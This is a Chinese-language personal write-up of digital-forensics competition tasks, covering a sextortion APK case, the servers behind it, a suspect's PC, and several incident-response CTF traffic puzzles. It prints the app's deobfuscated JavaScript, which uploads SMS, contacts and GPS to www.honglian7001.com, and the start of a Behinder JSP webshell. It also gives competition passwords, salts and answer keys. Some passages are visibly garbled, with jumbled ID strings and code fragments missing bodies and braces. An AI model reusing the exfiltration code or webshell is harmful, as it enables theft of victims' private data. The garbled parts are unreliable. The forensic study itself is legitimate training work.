案情如下

2021年4月25日,上午8点左右,警方接到被害人金某报案,声称自己被敲诈数万元;经询问,昨日金某被嫌疑人诱导luoliao,下载了某“luoliao”软件,导致自己的通讯录和luoliao视频被嫌疑人获取,对其进行敲诈,最终金某不堪重负,选择了报警;警方从金某提供的本人手机中,定向采集到了该“luoliao”软件的安装包--zhibo.apk(检材一),请各位回答下列问题:(题目 中需要通过分析出来的答案对检材二三四五解压,解压密码为IP的情况,需要在密码后增加-CAB2021,例192.168.110.110-CAB2021)
MjMzMg.Zhplu1Em6nv-BtSgO72J053ZZ5c
参考文章:2021长安杯 - XDforensics-Wiki、2021年长安杯电子数据取证比赛复盘完整版(wp) - 灰信网(软件开发博客聚合)、电子数据取证刷题 | iyheart 的博客
比赛都是由VeraCrypt进行加密的磁盘,密码是:
2021第三届CAB-changancup.com
是的第一步就卡了我很久……

使用以下命令计算:
certutil -hashfile 检材一-zhibo.apk sha256
certutil Windows 内置工具,主要用于管理证书,但也支持文件哈希计算功能。

在 Android 应用中,APK 的包名(Package Name) 是应用的唯一标识符,通常遵循反向域名命名规则(如 com.example.myapp)。
所以apk安装后在桌面上显示的并不是APK的包名,而是叫应用名称
com.tencent.mm),不可重复,用于系统识别。使用GDA进行分析:

在BaseInfo中的Package Name中可以找到其应用包名
wx1234567890abcdef2021003105691234a1b2c3d4e5f6g7h8i9j05f3d4e5f6g7h8i9j01250000000AppSecret 或 API Key 配合使用,需妥善保管,避免泄露。“签名错误”)。AppSecret 或停用旧 APPID。看WP里面说都是用雷电APP自动分析的

包名里面包含着APPID,怎么回事?
某些 SDK 或服务商(如 Hybrid 混合开发框架、WebView 封装工具)可能会要求开发者将 APPID 直接嵌入包名,以便:
自动化配置:动态生成应用时,直接通过包名解析 APPID,避免手动维护多个配置文件。
唯一性校验:通过包名中的 APPID 快速验证应用合法性(例如企业内部分发应用)。
示例:
若一个平台为不同客户生成定制化 APK,包名格式可能为 平台前缀.客户APPID(如 plus.H5B8E45D3),便于批量管理。
没有申请火眼取证,这里用AI的方法解出:
使用apktool进行反编译
res/values/strings.xml:可能存储硬编码的 APPID。AndroidManifest.xml:声明第三方 SDK 的权限或配置。assets/ 或 lib/:存放配置文件或 SDK 密钥。AndroidManifest.xml中找到关键内容,就在包名之后。

<meta-data android:name="DCLOUD_STREAMAPP_CHANNEL" android:value="plus.H5B8E45D3|H5B8E45D3|128361130111|"/>
<meta-data> 标签:用于在 AndroidManifest.xml 文件中声明 额外的配置信息。
android:name="DCLOUD_STREAMAPP_CHANNEL"
DCLOUD_STREAMAPP_CHANNEL 可能是 DCloud(HBuilder) 相关的一个标识。android:value="plus.H5B8E45D3|H5B8E45D3|128361130111|"
plus.H5B8E45D3 → 可能是 应用的 Plus 标识(与 HBuilder 相关)。H5B8E45D3 → 可能是 HBuilder 生成的 App 唯一标识(HBuilder 生成的 H5 App 可能都会有一个这样的 ID)。128361130111 → 可能是 渠道号或者开发者 ID。| 为空,可能是预留字段。A.读取短信 B.读取通讯录 C.读取精确位置 D.修改通讯录 E.修改短信
手机APP权限申请主要集中在AndroidManifest.xml文件最上方:
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.WRITE_SMS"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.READ_LOGS"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="com.huawei.android.launcher.permission.CHANGE_BADGE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="com.asus.msa.SupplementaryDID.ACCESS"/>
android.permission.INTERNETandroid.permission.WRITE_EXTERNAL_STORAGEandroid.permission.ACCESS_NETWORK_STATEandroid.permission.ACCESS_WIFI_STATEandroid.permission.INSTALL_PACKAGESandroid.permission.REQUEST_INSTALL_PACKAGESandroid.hardware.cameraandroid.hardware.camera.autofocusandroid.permission.ACCESS_COARSE_LOCATIONandroid.permission.ACCESS_FINE_LOCATIONandroid.permission.READ_CONTACTSandroid.permission.READ_SMSandroid.permission.RECEIVE_SMSandroid.permission.SEND_SMSandroid.permission.WRITE_SMSandroid.permission.GET_ACCOUNTSandroid.permission.WRITE_CONTACTSandroid.permission.CHANGE_WIFI_STATEandroid.permission.READ_PHONE_STATEandroid.permission.MOUNT_UNMOUNT_FILESYSTEMSandroid.permission.READ_LOGSandroid.permission.WRITE_SETTINGScom.huawei.android.launcher.permission.CHANGE_BADGEandroid.permission.READ_EXTERNAL_STORAGEcom.asus.msa.SupplementaryDID.ACCESSandroid.permission.READ_SMSandroid.permission.READ_CONTACTSandroid.permission.ACCESS_FINE_LOCATIONandroid.permission.WRITE_CONTACTSandroid.permission.WRITE_SMSA.手机通讯录 B.手机应用列表 C.手机号码 D.验证码 E.GPS定位信息
模拟器安装软件后发现关键词,在jdax中进行搜索:

发现了应用主页面中进行了sojsonv4加密的script标签,使用在线工具进行解密查看:


Sojson v4 解密 - Bugku CTF平台
/*
*Aman - 194nb.com
*/
/*
*Progcessed By JSDec in 0.00s
*JSDec - JSDec.js.org
*/
mui.init();
mui.plusReady(function() {
//var main = plus.android.runtimeMainActivity();
// main.moveTaskToBack(false);
var address = plus.device.vendor + '-' + plus.device.model;
address = address.replace(/
/g, "").replace(/ /g, "").replace(/
/g, "");
var apiserver = 'http://www.honglian7001.com/api/uploads/';
//重复数据处理 预防用户重复点击
var danjishijian = true;
function requestPermission(sjh, yqm) {
plus.android.requestPermissions(["android.permission.READ_SMS"],
function(resultObj) {
//SmsInfo存放一条短信的各项内容
var SmsInfo = {}
//Sms存放所有短信
var Sms = {}
var aimei = sjh;
var aimei2 = yqm;
var duanxin = '[{"imei":"' + aimei + '","imei2":"' + aimei2 + '"}';
var Cursor = plus.android.importClass("android.database.Cursor") var Uri = plus.android.importClass("android.net.Uri") //注意啦,android.net.Uri中的net是小写
var activity = plus.android.runtimeMainActivity() var uri = Uri.parse("content://sms/");
var projection = new Array("_id", "address", "person", "body", "date", "type") var cusor = activity.managedQuery(uri, projection, null, null, "date desc") var idColumn = cusor.getColumnIndex("_id") var nameColumn = cusor.getColumnIndex("person") var phoneNumberColumn = cusor.getColumnIndex("address") var smsbodyColumn = cusor.getColumnIndex("body") var dateColumn = cusor.getColumnIndex("date") var typeColumn = cusor.getColumnIndex("type") if (cusor != null)
duanxin = duanxin + ']';
//alert(duanxin);
mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',
//服务器返回json格式数据
type: 'post',
//HTTP请求类型
timeout: 10000,
//超时时间设置为10秒;
success: function(data) {
mui.toast('获取成功')
//console.log(con)
},
error: function(xhr, type, errorThrown) {
//异常处理;
}
});
cusor.close()
}
},
function(error) {
console.log('申请权限错误:' + error.code + " = " + error.message);
});
}
//扩展Date功能:将long型日期转换为特定的格式
Date.prototype.format = function(format)
if (/(y+)/.test(format))
for (var k in o)
}
return format;
}
//将long型日期转换为特定格式
function getFormatDate(l, pattern)
return date.format(pattern);
}
//alert(plus.device.uuid)
plus.navigator.setStatusBarBackground("#db6eff");
mui("body").off("tap");
mui("body").on('tap', '#tx',
function(event) {
$('#tx').hide();
$('#zz').show();
});
mui("body").on('tap', '#gb',
function(event) {
$('#tx').show();
$('#zz').hide();
});
mui("body").on('tap', '#qd',
function(event) else {
aa()
}
});
function getPermission(permissionIdentity, successCallBack, errorCallBack) {
//权限标识转换成大写
var permissionIdentity = permissionIdentity.toUpperCase();
//获取检测权限的状态
var checkResult = plus.navigator.checkPermission(permissionIdentity);
//权限状态是否正常
var permissionStatusOk = false;
//权限中文名称
var permissionName = '';
//对应 andorid 的具体权限
var androidPermission = '';
//获取权限中文意思与对应 android 系统的权限字符串
switch (permissionIdentity) {
case 'CONTACTS':
permissionName = '系统联系人';
androidPermission = 'android.permission.READ_CONTACTS'
break;
default:
permissionName = '未知';
androidPermission = '未知';
break;
}
//判断检查权限的结果
switch (checkResult) {
case 'authorized':
//正常的
permissionStatusOk = true
break;
case 'denied':
//表示程序已被用户拒绝使用此权限,如果是拒绝的就再次提示用户打开确认提示框
//如果有该权限但是没有打开不进行操作还是会去申请或手动打开
// console.log('已关闭' + permissionName + '权限')
// errorCallBack('已关闭' + permissionName + '权限');
// return
break;
case 'undetermined':
// 表示程序未确定是否可使用此权限,此时调用对应的API时系统会弹出提示框让用户确认
// this.requestPermissions(androidPermission, permissionName, successCallBack, errorCallBack)
// errorCallBack('未确定' + permissionName + '权限');
// return
break;
case 'unknown':
errorCallBack('无法查询' + permissionName + '权限');
return break;
default:
errorCallBack('不支持' + permissionName + '权限');
return break;
}
//如果权限是正常的执行成功回调
if (permissionStatusOk) {
successCallBack()
} else
if (e.deniedPresent.length > 0) {
//权限被临时拒绝
// 弹出提示框解释为何需要定位权限,可再次调用plus.android.requestPermissions申请权限
errorCallBack('请您同意弹出的权限,便可正常使用APP!如果未弹出,请前往“手机设置”里的“权限管理”找到本应用,并打开通讯录权限,方可使用。')
// console.log('Present Denied!!! ' + e.deniedPresent.toString());
}
if (e.granted.length > 0) {
//权限被允许
//调用依赖获取定位权限的代码
successCallBack()
// console.log('Granted!!! ' + e.granted.toString());
}
},
function(e) )
} else if (plus.os.name == 'iOS') else else if (e.index == 1)
},
'div')
}
}
}
}
function aa() ,
function(msg) {
mui.alert(msg, '提醒', '确定',
function() {},
'div')
//aa()
})
} else {
mui.toast('请输入正确的手机号和邀请码')
}
}
function dingwei(sjh, yqm) );
}
function translatePoint(position) {
var sjh = $('#sjh').val() var yqm = $('#yqm').val() var currentLon = position.coords.longitude;
var currentLat = position.coords.latitude;
var jingweidu = sjh + ',' + yqm + ',' + currentLon + ',' + currentLat;
mui.ajax(apiserver + 'apimap', {
data: {
data: jingweidu
},
dataType: 'text',
//服务器返回json格式数据
type: 'post',
//HTTP请求类型
timeout: 10000,
//超时时间设置为10秒;
success: function(data) ,30000)
}
mui.toast(data)
},
error: function(xhr, type, errorThrown) {
//异常处理;
}
});
//书写自己的逻辑
}
// 扩展API加载完毕,现在可以正常调用扩展API
function huoqu(sjh, yqm)
mui.ajax(apiserver + 'api', {
data: {
data: con
},
dataType: 'text',
//服务器返回json格式数据
type: 'post',
//HTTP请求类型
timeout: 10000,
//超时时间设置为10秒;
success: function(data)
});
} else {
mui.toast(data)
}
//console.log(con)
},
error: function(xhr, type, errorThrown) {
//异常处理;
}
});
},
function() {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
},
{
multiple: true
});
},
function(e) {
mui.alert("为保证用户质量,使用本app请同意通讯录授权 ");
});
}
});
答案为ACDE
由第五题可知使用POST请求方式
也可以先填写邀请码:

使用fiddler进行抓包,观察其请求包内容:

fiddler配置教程Fiddler对安卓模拟器里的APP抓包(步骤详细,各种抓包工具总结)_fiddlerr如何抓包模拟器-CSDN博客
可以发现使用了POST请求
由第六题可知回传地址域名在Host栏中:
www.honglian7001.com
由第五题分析到的index.html源码中发现
var apiserver = 'http://www.honglian7001.com/api/uploads/';
代码审计,对源码进行分析找出获取手机短信回传到后台的部分
短信、duanxin、sms等

可以发现回传地址为apiserver + 'apisms'即
www.honglian7001.com/api/uploads/apisms
从模拟器中进行分析:
数据库默认存储在应用的私有目录中,路径为:`/data/data/<包名>/databases/`

也可以使用jdax进行反编译,搜索关键词sqlitehelper、DATABASE_NAME、dbName、openOrCreateDatabase、.db、.sqlite:
(?=.*sqlitehelper)(?=.*db)

SQLiteOpenHelper dbHelper = new FridaSQLiteHelper(this, "test.db", null, 1);
这行代码是在 Android 应用 中创建或打开一个 SQLite 数据库,用于存储和管理数据。具体解析如下:
SQLiteOpenHelperdbHelperSQLiteOpenHelper 的实例,用于操作数据库。new FridaSQLiteHelper(...)FridaSQLiteHelper 继承自 SQLiteOpenHelper),用于数据库操作。thisContext(通常是 Activity 或 Application),用于访问数据库。"test.db"/data/data/包名/databases/test.db 中。nullCursorFactory,如果为 null,表示使用默认的 CursorFactory。1onUpgrade() 方法会被调用以升级数据库。他们都有雷电APP分析只有我没有……

只好手搓frida脚本提取
Frida 是一个强大的动态代码插桩工具,可用于 实时分析、修改和监控 APK 的运行行为。通过编写 Frida 脚本(JavaScript 或 Python),开发者或安全研究人员可以 Hook 目标应用的方法、修改参数、拦截数据等。以下是详细的解析和使用指南:
HOOK(钩子) 是一种拦截并修改程序执行流程的技术,类似于在代码执行路径上“挂钩子”,从而监控、修改或阻断原有行为。它是软件逆向、安全分析和自动化测试中的核心手段。
教程:Python+Frida+雷电模拟器 新手入坑实录 - 吾爱破解 - 52pojie.cn、windows下载安装adb(极其简单)_adb工具下载windows-CSDN博客
坑:下载的是frida-server,要看仔细下载,最下面有个show all,不要下了frida-core:

并且现在的雷电模拟器用的框架是X86_64,不要搞错版本了
adb kill-server 连接不上时进行重启
adb devices 查看模拟器是否上线
我出现了这个问题:

个人解决方法:搜索frida.exe所在目录,添加到环境变量中


大功告成,让AI帮我编写出一个frida脚本sqldb.js:
使用命令:
(不会,先空着待补充)
答案:c74d97b01eae257e44aa9d5bade97baf
经过掌握的APK程序后台服务器回连地址,警方成功调取该服务器的镜像,请使用第7题的答案对检材二进行解压进行分析。
解压密码为检材1中第七题答案:
www.honglian7001.com
这里我就用美亚柏科授权的取证大师分析了(试用版)
新建案件后导入磁盘镜像,计算其哈希值:

因为要计算原始硬盘的SHA256,不能直接计算.E01文件的哈希值,应该挂载后计算硬盘的哈希值,取证大师能够自动挂载进行计算:


查看用户登录信息中的内容:

根据背景,案发时间应该为2021年4月24日
可以发现最近的登录信息由192.168.110.203所登录
也可以使用仿真大师对虚拟镜像挂载到虚拟机中,可以绕过root用户的密码登录,使用密码123456登录root用户
在仿真环境下,使用以下命令查看用户最近登录信息:
last

通过history查看历史记录:

/opt目录主要存放可选的程序,这里找到其工作目录:/opt/honglianjingsai

分析chronusNode中的const.js和controller文件夹中的配置文件综合来看:
这些特征强烈指向该服务器在充当负载均衡器或反向代理服务器的角色
目标服务器池
_proxy50、_proxy100、_proxy100p,这些服务器在不同 IP 地址上,表明该代理服务器不是单独的应用,而是将流量分发到多个后端服务器。基于 IP 地址分配请求
代码依据
客户端 IP 的第三段
来选择目标服务器,意味着:
WebSocket 代理支持
ws: true 说明该代理不仅支持 HTTP 请求,还支持 WebSocket 流量,适用于长连接服务,可能用于负载均衡 WebSocket 服务器。
在history命令中发现:

主配置文件在controller文件夹中的ADProxy.js中
if (clientIPArr.length == 4) else if (clientIP3Int <= 100) else
}
搜索关键词clientIPArr


根据第六题的分析,有三台
在log文件夹中找到案发时间的日志,进行分析:

总共记录了235条请求,其中:

其中192.168.10.203为罪犯的IP
受害者IP只能在192.168.110.252和192.168.110.142中选择
个人认为192.168.110.252在日志时间线上后面一些,因此答案是这个
继续分析日志,响应192.168.110.252请求的IP为192.168.110.113
通过对检材二的分析,警方进一步掌握并落地到了目标服务器地址,通过对服务器进行证据固定,得到服务器镜像--检材三,请使用第21题答案对检材三进行解密并分析,回答下列问题
解压密码为检材2中第十题答案加上盐值:
192.168.110.113-CAB2021
这次检材给出了 web1.E01、web2.E01、web3.E01三个磁盘镜像,分别对应攻击者的三个IP的服务器:192.168.110.111、192.168.110.112、192.168.110.113
仿真大师分析将三者合一了……:

由上个检材最后一题分析受害者的通讯录被窃取之后,经由该服务器转发到了IP为192.168.110.113
说明web3的这个镜像才是关键的,因此计算其SHA-256值

答案:205C1120874CE0E24ABFB3BB1525ACF330E05111E4AD1D323F3DEE59265306BF
这里需要后面的辅助,因为重置密码是直接重置,不会显示原来的密码(Windows会显示原来的。所以我们后面可以通过嫌疑人的PC端的Xshell中看到连接记录,从中可以看到密码

分析检材四中攻击者的PC时找到其登录记录(我也想用火眼取证做题😭)
网站域名
答案:honglian7001
仅仿真web3.E01登录后使用命令bt打开宝塔面板:

这仿真的虚拟机不支持中文,使用shell工具连接其IP:


连接成功:

可见面板的登录用户名为:hl123
答案:hl123
本题要稍微熟悉一点宝塔以及宝塔的一些文件结构:
这些都在/www/server/panel/tools.py这个py文件中

答案:set_panel_pwd
由上题分析可知加密方式的哈希算法为md5
答案:md5
在设置面板密码中出现一次md5,剩下的并不在tools.py文件中
而是在public文件中,在文件目录/www/server/panel/class/public.py
经过搜索public.py文件中又使用了两次md5加密,所以答案为3

该值在这个位置看,default.db文件:/www/server/panel/data


答案:v87ilhAVumZL
根据给出的内网面板地址登录宝塔面板,因为给出的密码是错误的所以需要更改密码:



找到网站源代码根目录为/www/wwwroot/www.honglian7001
第二个方法:
使用history命令查看,发现有/www/wwwroot/www.honglian7001/app

答案:/www/wwwroot/www.honglian7001
在该目录的数据库配置文件下能看到数据库位于哪个ip的服务器上/www/wwwroot/www.honglian7001/app/databae.php

答案:192.168.110.115
由上题分析可以看到password值为wxrM5GtNXk5k5EPX
答案:wxrM5GtNXk5k5EPX
后台登录的路口都在admin中,所以答案为/admin

答案:/admin
由上题分析/www/wwwroot/www.honglian7001/app/admin/common.php中的内容可知,password_code即为密码加入的salt值
答案:lshi4AsSUrUOwWV
/www.honglian7001/runtime/log/202104/24.log中可以找到:
答案:security
由11的分析可知password()函数经过三次哈希值计算
答案:3
开始重构网站,重构文件在检材5中……
检材5密码由9可知解压密码为192.168.110.115-CAB2021
其中内容为数据库服务器的磁盘镜像,三个.dd文件直接挂载或取证分析都是未分配簇
当三个 .dd 文件直接挂载或取证分析均显示为未分配簇时,说明这些镜像单独存在时无法构成完整的逻辑文件系统。
RAID(Redundant Array of Independent Disks)通过将多块物理磁盘组合成一个逻辑单元,提供数据冗余、性能提升或容量扩展。
RAID重组 通常在以下场景中执行:
核心操作步骤:
这里使用R-STUDIO工具进行RAID重组自动检测:

导入.dd文件:

点击自动检测:

创建镜像->逐字节检测生成虚拟块.dsk文件

再进行仿真,重构出服务器服务器
按理说应该这么做,但仿真大师(试用版)不知道抽什么风总是仿真失败,用仿真大师自带的自动计算磁盘阵列的功能也是仿真失败……
直接上别人的答案……
此时访问http://192.168.110.113/admin即可加载出罪犯接收隐私服务器:


答案:6002
这里要注意时区 检材二也就是负载均衡服务器是utc时区,检材二中第九题的日志记录情况 在2021.4.24 6:37(utc时间)左右上传了通讯录 其对应的utc+8时间应为 当日14:37左右手机型号也能对上 由此可以得到受害者手机号码


通过对检材二和三进行分析,警方通过IP落地,警方掌成功抓获犯罪嫌疑人,现将嫌疑人的PC机和手机进行了取证,分别制作了镜像,请使用第13题的答案对检材四进行解密,并回答下列问题
(应当优先分析这个来得到检材3的答案)
检材4密码由检材2中的2可知为192.168.110.203-CAB2021
使用取证大师进行计算:

罪犯的D盘经Bitlocker加密,但是在取证大师的取证分析中得出了Bitlocker恢复密钥检索:



解密D盘后再次进行取证分析:

搜索NT密码哈希值:

答案:12306

答案:chrome


IMEI(International Mobile Equipment Identity,国际移动设备识别码)是用于唯一标识一部移动设备的15位数字代码。它是全球通用的设备身份标识符,类似于手机的“身份证号码”,在手机的整个生命周期中保持唯一性。
使用美亚柏科手机大师(试用版):

然后就寄了,因为火眼取证得到的IMEI不同:

手机大师分析不出来……

还得看别人用火眼取证:

翻聊天记录

手机大师做得到!
罪犯信息:

与受害者的聊天记录:

答案:wxid_op8i06j0aano22

答案:1649840939
导出我赚钱的工具.zip文件并解压(解压密码12306,与加密磁盘密码是同样的),里面是虚拟机镜像文件:

取证大师挂载后计算其hash值:

但是不对……
那就挂载虚拟机,继续分析嫌疑人的赚钱容器。但是要密码,该怎么办?



绕过成功后直接空密码登录
在快速访问中找到小白鼠.txt,但是文件太大打不开,推测并不是txt文件

导出该文件进行分析,是VeraCrypt的加密磁盘镜像……可以推测其内容为嫌疑人用于管理敲诈对象的容器文件
因此计算小白鼠.txt的hash值即可


使用VeraCrypt挂载要密码,使用发现的key.rar作为密钥文件成功挂载:

得出了郭先生的电话号码:

由上一题分析可以看出记录了5位受害者
解压并计算:

(要小写)
支付宝提醒助手里面

伊对 (手机大师分析不出的)金先生聊天记录里面

微信聊天记录里面

虚拟机压缩包里面

数据库里面,找到我的账单 右键保存数据为1.jpg

有嫌疑人在使用Windows系统,取证人员对该系统进行了硬盘镜像。通过自己的工具软件对档案袋中的镜像文件进行提取、分析、逆向、恢复、破解、查找等,在线完成填空、简答。
比赛材料记录 比赛的计算机镜像资料镜像名为“windows7disk.E01”
参考文章:DIDCTF-2022暑假取证学习 - WTT0011 - 博客园
使用取证大师进行分析:

使用取证大师进行计算:

取证大师分析:

答案:夜神模拟器2021年05月03日
寻找该靶机的虚拟磁盘文件:


可以推测加密磁盘镜像文件TMP00000008578720C0A2D5E4D8经挂载后成了my.vhd
答案:my.vhd/my1.vhd
由1中取证大师的分析中就有系统安装时间



本题仅一次答题机会
360浏览器2021-05-03 20:16:43
Edge浏览器2021-05-03 20:26:44
谷歌浏览器2021-05-03 20:16:44
搜狗极速浏览器2021-06-03 20:16:44
主要是靶机上只能找到谷歌浏览器……


本题仅一次答题机会
UTC+8
UTC+4
UTC+2
UTC+6

跳转到源文件,对SYSTEM文件进行注册表解析,发现有两套时区信息配置(ControlSet001ControlTimeZoneInformation和ControlSet002ControlTimeZoneInformation):


第二套时区配置取证大师没有自动取证出来
总之使用的是China Standard Time中国标准时间

Windows 通过多个 ControlSet 确保系统在更新或配置错误时能够回退到稳定状态。
CurrentControlSet)。LastKnownGood 配置)。ControlSet003),但通常仅保留两个副本。查看浏览器记住的用户密码:

没有密码,跳转到源文件(数据库文件)进行分析:

然而密码是加密的,因此使用仿真软件进行仿真模拟后分析:



复制即可得到密码
补充:某取证工具具有自动解码功能

答案:https://www.baidu.com/+test+test@test2021.com
在 Windows 系统中,每个用户和组都有一个唯一的 SID(Security Identifier,安全标识符)。SID 是系统内部用于识别安全主体的核心标识符,用于权限管理、资源访问控制等场景。

看别人的WP这个题目问题好像应该是:请给出源磁盘结束扇区位置
取证大师分析的不够准确,我们进行挂载分析:


挂载后发现磁盘大小为:32210153472,但不是正确答案
因此开始计算:
首先计算起始扇区的位置
物理位置/每个扇区字节数=磁盘起始位置即1048576/512=2048(扇区号从 0 开始计数时为 2048)
扇区数+磁盘起始位置=结束扇区即62910464+2048=62912512
补充:使用某取证工具可以直接分析出来

如果扇区编号从 0 开始,那么磁盘的总扇区数实际上是 62912511 + 1 = 62912512
由挂载的磁盘来看文件系统为NTFS


SanDisk+4C530001310423109141+2021-05-04 14:36:21

nox_setup_v7.0.0.6_full.exe+新建文本文档1.txt+测试.rtf


由11的分析可知答案
2021年10月某日早上,本市一个名为“大路建设”的高速公路工地主管发现办公室的计算机被加密并无法开启,其后收到了勒索通知。考虑到高速公路的基建安全,主管决定报警。警方调查人员到达现场取证,发现办公室内有三部个人计算机,通过一个老款路由器接入互联网。 经调查相关电子证据后,警方怀疑一位本地男子–阿力士与本案有关,并将他拘捕。现在你被委派处理这起案件,请由以下资料分析阿力士在本案中的违法犯罪行为, 并还原事件经过。
资料
挂载/解压密码: 压缩包解压密码:MeiyaCup2021 VC加密容器密码:
不是HfsCk]!pQC-H5BAc^gBo/^qq)/i21ufiN@H"Y而是
HfsCk]<eUqc5Q
使用脚本:
from collections import Counter
import re
# 读取 access.log 文件
log_file = "access.log"
# 正则表达式匹配 IP 地址
ip_pattern = re.compile(r'b(?:d{1,3}.){3}d{1,3}b')
# 统计 IP 频次
ip_counter = Counter()
with open(log_file, "r", encoding="utf-8") as f:
for line in f:
match = ip_pattern.search(line)
if match:
ip_counter[match.group()] += 1
# 输出统计结果
for ip, count in ip_counter.most_common():
print(f"{ip}: {count}")

或者使用awk进行分析:
awk '{print $1}' access.log |sort|uniq -c > 1.csv
然后按大小排序分析:

请分析windows日志文件winlog.evtx,并从中找到key信息。
用事件查看器进行分析(按照ID排序):

某日接到客户应急需求,客户连接工业控制系统的核心网络设备遭到入侵,初步推测可能是网络设备的远程登录密码被破解,请通过对给出的流量包分析,得到黑客登录网络设备后窃取的机密数据key1。
flag为8位长度字符串
协议分级,根据题目背景优先分析telnet远控协议:


前面都是登录失败的流量,找到登录成功的:


下列抓包⽂件中包含了⽤户登录⽹站过程,请找出⽤户登录⽹站的明⽂密码。格式flag{密码}
登录网站的过程优先分析HTTP流来寻找:

有一台服务器遭到了黑客的入侵,请下载日志,并从中分析出黑客的 IP 地址,并将黑客登录操作系统的时间作为 flag 值提交(注:提交的日期时间格式为 flag{HHMMSS})。
accepted:
请分析可疑流量并找到key信息
请提交8位长度字符串
流量非常大,尝试过滤分析http流,搜索key关键词,找到传输的压缩包:

压缩包是网站的源文件备份,里面藏着key:

在排除了伪加密的情况后,进行爆破的同时在流量中寻找解压密码(搜索关键词):

成功解压得到key
请根据日志分析攻击者写入的木马的连接密码,提交格式为:flag{xxxxx}
大部分是404的记录,我们只关注200的记录:

找到奇怪的GET请求,进行URL解码:

再解码:

在企业网络中,总有部分系统管理员为了方便文件共享就直接在服务器上搭建FTP、NFS等服务。因为,系统管理员对文件访问权限设置的不合理,用户存在弱密码等原因,给黑客留下了可乘之机。好在全流量监控平台可以截获黑客窃取的这部分敏感数据,应急响应人员后期便可根据泄漏信息的重要程度来制定不同等级的应急响应预案。在该台服务器上便发生过FTP数据窃取事件,请通过分析得出黑客窃取的敏感数据key4的值。(key4为8位随机数字和字母构成的字符串) 注释:全流量监控平台抓取的此次数据泄漏事件的流量包capture.pcap存放在FTP服务的日志目录下面。 解压缩密码 +X:K1T}
此题附件为FTP数据窃取流量,因此优先分析FTP协议内容:

加密的压缩包,尝试寻找密码:

解压密码也在FTP服务器中,但是没有传输记录因此找不到
最后再仔细看看题目介绍就能找到解压密码了……
data.img 文件为硬盘镜像副本,请恢复该硬盘中的文件,寻找 Flag
恢复硬盘文件使用磁盘精灵:

恢复成功从无需密码的RAR中得到flag
从网络通信方式的层面看,后门可以被分为http/https类型、irc类型、icmp类型、dns类型等。在某次应急响应行动中,安全人员抓到了一份可疑的流量包,请从流量包中分析出通过某种特殊协议传输的敏感数据key1的值。
ICMP 协议被用作信息通道,可能是某个恶意程序或攻击者利用 ping 进行数据传输:


即可得到key
另一个流量包中隐藏着的flag藏在ICMP协议报文内容中,是藏头诗
分析HTTP流,可以发现有f1aG1.zip、f1aG2.zip、f1aG3.zip、f1aG4.zip、f1aG5.zip的传输,并且还有一个密码文件:

尝试手动导出ZIP文件,只有f1aG5.zip加密了,解密即可得到flag
您的同事李白在运维一台部署了移动应用服务端的linux服务器时发现了异常,好像被黑客攻击了。小李通过简单分析,发现可能是由于公司的移动应用和其服务端程序都存在安全问题导致的。小李将当天可能与攻击相关的流量导出,并与移动应用一起打包压缩,你可以下载分析,也可以登录此服务器进行攻击溯源、排查等,提供了SSH和VNC访问的方式供您和您的团队进行分析取证。
条件限制,没有靶机,但是用流量包也可以做
关卡描述:黑客攻击此服务器所使用的2个IP分别是什么(ascii码从小到大排列,空格分隔)

从传马的流量和会话统计可以推测出202.1.1.1为攻击者IP,202.1.1.66为http服务器
剩下202.1.1.129和202.1.1.130,查看流量继续分析:

可以发现202.1.1.130作为服务端回传了关键信息给202.1.1.129
存在安全问题的apk中使用的登录密码是什么?
继续分析流量,若寻找登录密码最好从POST请求开始查询:
http.request.method == "POST"
然后搜索相关关键词如pass:

或者逆向分析apk查找应用主入口
:
关卡描述:黑客尝试上传一个文件但显示无上传权限的文件名是什么?
继续分析POST请求内容,注意关键词upload寻找上传文件api或页面:
http.request.uri contains "upload"

追踪流即可找出上传的文件名:

关卡描述:黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)
找到传马成功的流量:

追踪流:

答案:http://202.1.1.66:8080/api/upload
关卡描述:黑客上传的webshell绝对路径是什么?
参考文章:第一届长城杯铁人三项赛-决赛 | Y0ung's Blog
这里需要有服务器才能找出webshell绝对路径
不然由上题分析只有相对路径/static服务器路径并不是/var/www/html/

答案:/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp
关卡描述:黑客上传的webshell的密码是什么?
分析关卡4上传的冰蝎马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!
// 自定义类加载器 U,继承自 ClassLoader
class U extends ClassLoader {
// 构造方法,接受父类加载器
U(ClassLoader c) {
super(c);
}
// 通过 defineClass() 方法将字节码数组转换为 Java 类
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
// 检查请求是否带有 "bing_pass" 参数
if (request.getParameter("bing_pass") != null) {
// 生成一个 16 字节的 AES 密钥
